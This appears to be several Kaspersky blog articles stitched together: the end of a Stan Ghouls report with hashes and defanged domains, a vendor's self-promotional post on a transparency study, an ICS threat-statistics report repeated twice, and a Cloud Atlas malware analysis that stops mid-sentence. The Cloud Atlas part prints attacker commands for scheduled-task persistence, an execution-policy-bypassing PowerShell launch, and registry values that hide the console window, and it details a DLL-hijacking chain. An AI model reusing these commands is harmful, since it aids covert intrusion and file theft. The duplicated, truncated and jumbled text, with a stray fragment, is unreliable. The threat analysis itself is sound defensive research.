One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

The life of a modern head of information security (also known as CISO – Chief Information Security Officer) is not just about fighting hackers. It’s also an endless quest that goes by the name of “compliance”. Regulators keep tightening the screws, standards pop up like mushrooms, and headaches only get worse; but wait… – there’s more: CISOs are responsible not only for their own perimeter, but what goes on outside it too: for their entire supply chain, all their contractors, and the whole hodge-podge of software their business processes run on. Though the logic here is solid, it’s also unfortunately ruthless: if a hole is found at your supplier, but the problems hit you, in the end it’s you who’s held accountable. This logic applies to security software too.

Back in the day, companies rarely thought about what was actually inside the security solutions and products they used. Now, however, businesses – especially large ones – want to know everything: what’s really inside the box? Who wrote the code? Is it going to break some critical function or could it even bring everything down? (We’ve seen such precedents; example: the Crowdstrike 2024 update incident.) Where and how is data processed? And these are the right questions to ask.

The problem lies in the fact that almost all customers trust their vendors to answer accurately when asked such questions – very often because they have no other choice. A more mature approach in today’s cyber-reality is to verify.

In corporate-speak this is called supply-chain trust, and trying to solve this puzzle on your own is a serious headache. You need help from vendors. A responsible vendor is ready to show what’s under the hood of its solutions, to open up the source code to partners and customers for review, and, in general, to earn trust not with nice slides but with solid, practical steps.

So who’s already doing this, and who’s still stuck in the past? A fresh, in-depth study from our colleagues in Europe has the answer. It was conducted by the respected testing lab AV-Comparatives, the Tyrol Chamber of Commerce (WKO), the MCI Entrepreneurial School, and the law firm Studio Legale Tremolada.

The main conclusion of the study is that the era of “black boxes” in cybersecurity is over. RIP. Amen. The future belongs to those who don’t hide their source code and vulnerability reports, and who give customers maximum choice when configuring their products. And the report clearly states who doesn’t just promise but actually delivers. Guess who!…

What a great guess! Yes – it’s us!

We give our customers something that is still, unfortunately, a rare and endangered species in the industry: transparency centers, source code reviews of our products, a detailed software bill of materials (SBOM), and the ability to check update history and control rollouts. And of course we provide everything that’s already become the industry standard. You can study all the details in the full “Transparency and Accountability in Cybersecurity” (TRACS) report, or in our summary. Below, I’ll walk through some of the most interesting bits.

Not mixing apples and oranges

TRACS reviewed 14 popular vendors and their EPP/EDR products – from Bitdefender and CrowdStrike to our EDR Optimum and WithSecure. The objective was to understand which vendors don’t just say “trust us”, but actually let you verify their claims. The study covered 60 criteria: from GDPR (General Data Protection Regulation – it’s a European study after all) compliance and ISO 27001 audits, to the ability to process all telemetry locally and access a product’s source code. But the authors decided not to give points for each category or form a single overall ranking.

Why? Because everyone has different threat models and risks. What is a feature for one may be a bug and a disaster for another. Take fast, fully automatic installation of updates. For a small business or a retail company with thousands of tiny independent branches, this is a blessing: they’d never have enough IT staff to manage all of that manually. But for a factory where a computer controls the conveyor it would be totally unacceptable. A defective update can bring a production line to a standstill, which in terms of business impact could be fatal (or at least worse than the recent Jaguar Land Rover cyberattack); here, every update needs to be tested first. It’s the same story with telemetry. A PR agency sends data from its computers to the vendor’s cloud to participate in detecting cyberthreats and get protection instantly. Perfect. A company that processes patients’ medical records or highly classified technical designs on its computers? Its telemetry settings would need to be reconsidered.

Ideally, each company should assign “weights” to every criterion, and calculate its own “compatibility rating” with EDR/EPP vendors. But one thing is obvious: whoever gives customers choices, wins.

Take file reputation analysis of suspicious files. It can work in two ways: through the vendor’s common cloud, or through a private micro-cloud within a single organization. Plus there’s the option to disable this analysis altogether and work completely offline. Very few vendors give customers all three options. For example, “on-premise” reputation analysis is available from only eight vendors in the test. It goes without saying we’re one of them.

Raising the bar

In every category of the test the situation is roughly the same as with the reputation service. Going carefully through all 45 pages of the report, we’re either ahead of our competitors or among the leaders. And we can proudly say that in roughly a third of the comparative categories we offer significantly better capabilities than most of our peers. See for yourself:

Visiting a transparency center and reviewing the source code? Verifying that the product binaries are built from this source code? Only three vendors in the test provide these things. And for one of them – it’s only for government customers. Our transparency centers are the most numerous and geographically spread out, and offer customers the widest range of options.

Downloading database updates and rechecking them? Only six players – including us – provide this.

Configuring multi-stage rollout of updates? This isn’t exactly rare, but it’s not widespread either – only seven vendors besides us support it.

Reading the results of an external security audit of the company? Only we and six other vendors are ready to share this with customers.

Breaking down a supply chain into separate links using an SBOM? This is rare too: you can request an SBOM from only three vendors. One of them is the green-colored company that happens to bear my name.

Of course, there are categories where everyone does well: all of them have successfully passed an ISO/IEC 27001 audit, comply with GDPR, follow secure development practices, and accept vulnerability reports.

Finally, there’s the matter of technical indicators. All products that work online send certain technical data about protected computers, and information about infected files. For many businesses this isn’t a problem, and they’re glad it improves effectiveness of protection. But for those seriously focused on minimizing data flows, AV-Comparatives measures those too – and we just so happen to collect the least amounts of telemetry compared to other vendors.

Practical conclusions

Thanks to the Austrian experts, CISOs and their teams now have a much simpler task ahead when checking their security vendors. And not just the 14 that were tested. The same framework can be applied to other security solution vendors and to software in general. But there are strategic conclusions too…

Transparency makes risk management easier. If you’re responsible for keeping a business running, you don’t want to guess whether your protection tool will become your weak point. You need predictability and accountability. The WKO and AV-Comparatives study confirms that our model reduces these risks and makes them manageable.

Evidence instead of slogans. In this business, it’s not enough to be able write “we are secure” on your website. You need audit mechanisms. The customer has to be able to drop by and verify things for themselves. We provide that. Others are still catching up.

Transparency and maturity go hand in hand. Vendors that are transparent for their customers usually also have more mature processes for product development, incident response, and vulnerability handling. Their products and services are more reliable.

Our approach to transparency (GTI) works. When we announced our initiative several years ago and opened Transparency Centers around the world, we heard all kinds of things from critics – like that it was a waste of money and that nobody needed it. Now independent European experts are saying that this is how a vendor should operate in 2025 and beyond.

It was a real pleasure reading this report. Not just because it praises us, but because the industry is finally turning in the right direction – toward transparency and accountability.

We started this trend, we’re leading it, and we’re going to keep pioneering within it. So, dear readers and users, don’t forget: trust is one thing; being able to fully verify is another.

Statistics across all threats

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked decreased from the previous quarter by 0.4 pp to 20.1%. This is the lowest level for the observed period.

Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 9.2% in Northern Europe to 27.4% in Africa.

In Q3 2025, the percentage increased in five regions. The most notable increase occurred in East Asia, triggered by the local spread of malicious scripts in the OT infrastructure of engineering organizations and ICS integrators.

Selected industries

The biometrics sector traditionally led the rankings of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked increased in four of the seven surveyed industries. The most notable increases were in engineering and ICS integrators, and manufacturing.

Diversity of detected malicious objects

In Q3 2025, Kaspersky protection solutions blocked malware from 11,356 different malware families of various categories on industrial automation systems.

In Q3 2025, there was a decrease in the percentage of ICS computers on which denylisted internet resources and miners of both categories were blocked. These were the only categories that exhibited a decrease.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q3 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from the source itself.

• The main categories of threats from the internet blocked on ICS computers in Q3 2025 were malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 4.57% in Northern Europe to 10.31% in Africa.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in an office document. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.78% in Russia to 6.85% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from this source were blocked ranged from 0.05% in Australia and New Zealand to 1.43% in Africa.
• The main categories of threats that spread through network folders were viruses, AutoCAD malware, worms, and spyware. The percentages of ICS computers where threats from this source were blocked ranged from 0.006% in Northern Europe to 0.20% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including technological infrastructures.

Malicious objects used for initial infection

In Q3 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 4.01%. This is the lowest quarterly figure since the beginning of 2022.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 2.35% in Australia and New Zealand to 4.96% in Africa. Southeast Asia and South Asia were also among the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked has grown for three consecutive quarters, following a decline at the end of 2024. In Q3 2025, it reached 1,98%.

The indicator increased in four regions: South America, East Asia, Southeast Asia, and Australia and New Zealand. South America saw the largest increase as a result of a large-scale phishing campaign in which attackers used new exploits for an old vulnerability (CVE-2017-11882) in Microsoft Office Equation Editor to deliver various spyware to victims’ computers. It is noteworthy that the attackers in this phishing campaign used localized Spanish-language emails disguised as business correspondence.

In Q3 2025, the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased to 6.79%. This category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 2.57% in Northern Europe to 9.41% in Africa. The top three regions for this indicator were Africa, East Asia, and South America. The indicator increased the most in East Asia (by a dramatic 5.23 pp) as a result of the local spread of malicious spyware scripts loaded into the memory of popular torrent clients including MediaGet.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q3 2025, the percentage of ICS computers on which spyware and ransomware were blocked increased. The rates were:

• spyware: 4.04% (up 0.20 pp);
• ransomware: 0.17% (up 0.03 pp).

The percentage of ICS computers on which miners of both categories were blocked decreased. The rates were:

• miners in the form of executable files for Windows: 0.57% (down 0.06 pp), it’s the lowest level since Q3 2022;
• web miners: 0.25% (down 0.05 pp). This is the lowest level since Q3 2022.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q3 2025, the percentage of ICS computers on which worms and viruses were blocked increased to 1.26% (by 0.04 pp) and 1.40% (by 0.11 pp), respectively.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

In Q3 2025, the percentage of ICS computers on which AutoCAD malware was blocked slightly increased to 0.30% (by 0.01 pp).

For more information on industrial threats see the full version of the report.

Statistics across all threats

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked decreased from the previous quarter by 0.4 pp to 20.1%. This is the lowest level for the observed period.

Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 9.2% in Northern Europe to 27.4% in Africa.

In Q3 2025, the percentage increased in five regions. The most notable increase occurred in East Asia, triggered by the local spread of malicious scripts in the OT infrastructure of engineering organizations and ICS integrators.

Selected industries

The biometrics sector traditionally led the rankings of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

In Q3 2025, the percentage of ICS computers on which malicious objects were blocked increased in four of the seven surveyed industries. The most notable increases were in engineering and ICS integrators, and manufacturing.

Diversity of detected malicious objects

In Q3 2025, Kaspersky protection solutions blocked malware from 11,356 different malware families of various categories on industrial automation systems.

In Q3 2025, there was a decrease in the percentage of ICS computers on which denylisted internet resources and miners of both categories were blocked. These were the only categories that exhibited a decrease.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q3 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from the source itself.

• The main categories of threats from the internet blocked on ICS computers in Q3 2025 were malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 4.57% in Northern Europe to 10.31% in Africa.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in an office document. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.78% in Russia to 6.85% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from this source were blocked ranged from 0.05% in Australia and New Zealand to 1.43% in Africa.
• The main categories of threats that spread through network folders were viruses, AutoCAD malware, worms, and spyware. The percentages of ICS computers where threats from this source were blocked ranged from 0.006% in Northern Europe to 0.20% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including technological infrastructures.

Malicious objects used for initial infection

In Q3 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 4.01%. This is the lowest quarterly figure since the beginning of 2022.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 2.35% in Australia and New Zealand to 4.96% in Africa. Southeast Asia and South Asia were also among the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked has grown for three consecutive quarters, following a decline at the end of 2024. In Q3 2025, it reached 1,98%.

The indicator increased in four regions: South America, East Asia, Southeast Asia, and Australia and New Zealand. South America saw the largest increase as a result of a large-scale phishing campaign in which attackers used new exploits for an old vulnerability (CVE-2017-11882) in Microsoft Office Equation Editor to deliver various spyware to victims’ computers. It is noteworthy that the attackers in this phishing campaign used localized Spanish-language emails disguised as business correspondence.

In Q3 2025, the percentage of ICS computers on which malicious scripts and phishing pages were blocked increased to 6.79%. This category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage of ICS computers on which malicious scripts and phishing pages were blocked ranged from 2.57% in Northern Europe to 9.41% in Africa. The top three regions for this indicator were Africa, East Asia, and South America. The indicator increased the most in East Asia (by a dramatic 5.23 pp) as a result of the local spread of malicious spyware scripts loaded into the memory of popular torrent clients including MediaGet.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q3 2025, the percentage of ICS computers on which spyware and ransomware were blocked increased. The rates were:

• spyware: 4.04% (up 0.20 pp);
• ransomware: 0.17% (up 0.03 pp).

The percentage of ICS computers on which miners of both categories were blocked decreased. The rates were:

• miners in the form of executable files for Windows: 0.57% (down 0.06 pp), it’s the lowest level since Q3 2022;
• web miners: 0.25% (down 0.05 pp). This is the lowest level since Q3 2022.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q3 2025, the percentage of ICS computers on which worms and viruses were blocked increased to 1.26% (by 0.04 pp) and 1.40% (by 0.11 pp), respectively.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

In Q3 2025, the percentage of ICS computers on which AutoCAD malware was blocked slightly increased to 0.30% (by 0.01 pp).

For more information on industrial threats see the full version of the report.

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

• HTA file
• VBShower::Launcher
• VBShower::Cleaner

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

File	Path
a.xml	%LOCALAPPDATA%\vlc\vlc.exe
b.xml	%LOCALAPPDATA%\vlc\chambranle
c.xml	%LOCALAPPDATA%\vlc\plugins\access\libvlc_plugin.dll
d.xml	%LOCALAPPDATA%\vlc\libvlccore.dll
e.xml	%LOCALAPPDATA%\vlc\libvlc.dll

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (4)

This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
   

   "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
   "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692

2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
   

   powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1

3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
   

   cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

• It ignores the following paths:
  • Program Files
  • Program Files (x86)
  • %SystemRoot%
• The file size for archiving must be between 1,000 and 3,000,000 bytes.
• The file’s last modification date must be less than 30 days before the start of the scan.
• Files containing the following strings in their names are ignored:
  • “intermediate.txt”
  • “FlightingLogging.txt”
  • “log.txt”
  • “thirdpartynotices”
  • “ThirdPartyNotices”
  • “easylist.txt”
  • “acroNGLLog.txt”
  • “LICENSE.txt”
  • “signature.txt”
  • “AlternateServices.txt”
  • “scanwia.txt”
  • “scantwain.txt”
  • “SiteSecurityServiceState.txt”
  • “serviceworker.txt”
  • “SettingsCache.txt”
  • “NisLog.txt”
  • “AppCache”
  • “backupTest”

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

